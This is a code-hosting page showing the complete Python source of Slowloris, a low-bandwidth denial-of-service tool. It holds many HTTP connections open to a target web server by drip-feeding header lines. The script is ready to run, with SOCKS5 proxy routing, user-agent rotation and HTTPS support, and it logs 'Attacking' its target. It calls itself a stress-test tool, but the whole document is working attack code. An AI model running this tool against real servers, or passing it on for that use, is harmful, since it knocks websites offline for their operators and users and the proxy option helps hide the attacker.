Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
gkbrk
GitHub Repository: gkbrk/slowloris
Path: blob/master/slowloris.py
104 views
1
#!/usr/bin/env python3
2
import argparse
3
import logging
4
import random
5
import socket
6
import sys
7
import time
8
9
parser = argparse.ArgumentParser(
10
description="Slowloris, low bandwidth stress test tool for websites"
11
)
12
parser.add_argument("host", nargs="?", help="Host to perform stress test on")
13
parser.add_argument(
14
"-p", "--port", default=80, help="Port of webserver, usually 80", type=int
15
)
16
parser.add_argument(
17
"-s",
18
"--sockets",
19
default=150,
20
help="Number of sockets to use in the test",
21
type=int,
22
)
23
parser.add_argument(
24
"-v",
25
"--verbose",
26
dest="verbose",
27
action="store_true",
28
help="Increases logging",
29
)
30
parser.add_argument(
31
"-ua",
32
"--randuseragents",
33
dest="randuseragent",
34
action="store_true",
35
help="Randomizes user-agents with each request",
36
)
37
parser.add_argument(
38
"-x",
39
"--useproxy",
40
dest="useproxy",
41
action="store_true",
42
help="Use a SOCKS5 proxy for connecting",
43
)
44
parser.add_argument(
45
"--proxy-host", default="127.0.0.1", help="SOCKS5 proxy host"
46
)
47
parser.add_argument(
48
"--proxy-port", default="8080", help="SOCKS5 proxy port", type=int
49
)
50
parser.add_argument(
51
"--https",
52
dest="https",
53
action="store_true",
54
help="Use HTTPS for the requests",
55
)
56
parser.add_argument(
57
"--sleeptime",
58
dest="sleeptime",
59
default=15,
60
type=int,
61
help="Time to sleep between each header sent.",
62
)
63
parser.set_defaults(verbose=False)
64
parser.set_defaults(randuseragent=False)
65
parser.set_defaults(useproxy=False)
66
parser.set_defaults(https=False)
67
args = parser.parse_args()
68
69
if len(sys.argv) <= 1:
70
parser.print_help()
71
sys.exit(1)
72
73
if not args.host:
74
print("Host required!")
75
parser.print_help()
76
sys.exit(1)
77
78
if args.useproxy:
79
# Tries to import to external "socks" library
80
# and monkey patches socket.socket to connect over
81
# the proxy by default
82
try:
83
import socks
84
85
socks.setdefaultproxy(
86
socks.PROXY_TYPE_SOCKS5, args.proxy_host, args.proxy_port
87
)
88
socket.socket = socks.socksocket
89
logging.info("Using SOCKS5 proxy for connecting...")
90
except ImportError:
91
logging.error("Socks Proxy Library Not Available!")
92
sys.exit(1)
93
94
logging.basicConfig(
95
format="[%(asctime)s] %(message)s",
96
datefmt="%d-%m-%Y %H:%M:%S",
97
level=logging.DEBUG if args.verbose else logging.INFO,
98
)
99
100
101
def send_line(self, line):
102
line = f"{line}\r\n"
103
self.send(line.encode("utf-8"))
104
105
106
def send_header(self, name, value):
107
self.send_line(f"{name}: {value}")
108
109
110
if args.https:
111
logging.info("Importing ssl module")
112
import ssl
113
114
setattr(ssl.SSLSocket, "send_line", send_line)
115
setattr(ssl.SSLSocket, "send_header", send_header)
116
117
list_of_sockets = []
118
user_agents = [
119
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
120
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
121
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Safari/602.1.50",
122
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:49.0) Gecko/20100101 Firefox/49.0",
123
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
124
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
125
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
126
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/602.2.14 (KHTML, like Gecko) Version/10.0.1 Safari/602.2.14",
127
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Safari/602.1.50",
128
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.79 Safari/537.36 Edge/14.14393",
129
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
130
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
131
"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
132
"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
133
"Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0",
134
"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
135
"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
136
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
137
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
138
"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0",
139
"Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko",
140
"Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.0",
141
"Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
142
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
143
"Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:49.0) Gecko/20100101 Firefox/49.0",
144
]
145
146
setattr(socket.socket, "send_line", send_line)
147
setattr(socket.socket, "send_header", send_header)
148
149
150
def init_socket(ip: str):
151
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
152
s.settimeout(4)
153
154
if args.https:
155
ctx = ssl.create_default_context()
156
ctx.check_hostname = False
157
ctx.verify_mode = ssl.CERT_NONE
158
s = ctx.wrap_socket(s, server_hostname=args.host)
159
160
s.connect((ip, args.port))
161
162
s.send_line(f"GET /?{random.randint(0, 2000)} HTTP/1.1")
163
164
ua = user_agents[0]
165
if args.randuseragent:
166
ua = random.choice(user_agents)
167
168
s.send_header("User-Agent", ua)
169
s.send_header("Accept-language", "en-US,en,q=0.5")
170
return s
171
172
173
def slowloris_iteration():
174
logging.info("Sending keep-alive headers...")
175
logging.info("Socket count: %s", len(list_of_sockets))
176
177
# Try to send a header line to each socket
178
for s in list(list_of_sockets):
179
try:
180
s.send_header("X-a", random.randint(1, 5000))
181
except socket.error:
182
list_of_sockets.remove(s)
183
184
# Some of the sockets may have been closed due to errors or timeouts.
185
# Re-create new sockets to replace them until we reach the desired number.
186
187
diff = args.sockets - len(list_of_sockets)
188
if diff <= 0:
189
return
190
191
logging.info("Creating %s new sockets...", diff)
192
for _ in range(diff):
193
try:
194
s = init_socket(args.host)
195
if not s:
196
continue
197
list_of_sockets.append(s)
198
except socket.error as e:
199
logging.debug("Failed to create new socket: %s", e)
200
break
201
202
203
def main():
204
ip = args.host
205
socket_count = args.sockets
206
logging.info("Attacking %s with %s sockets.", ip, socket_count)
207
208
logging.info("Creating sockets...")
209
for _ in range(socket_count):
210
try:
211
logging.debug("Creating socket nr %s", _)
212
s = init_socket(ip)
213
except socket.error as e:
214
logging.debug(e)
215
break
216
list_of_sockets.append(s)
217
218
while True:
219
try:
220
slowloris_iteration()
221
except (KeyboardInterrupt, SystemExit):
222
logging.info("Stopping Slowloris")
223
break
224
except Exception as e:
225
logging.debug("Error in Slowloris iteration: %s", e)
226
logging.debug("Sleeping for %d seconds", args.sleeptime)
227
time.sleep(args.sleeptime)
228
229
230
if __name__ == "__main__":
231
main()
232
233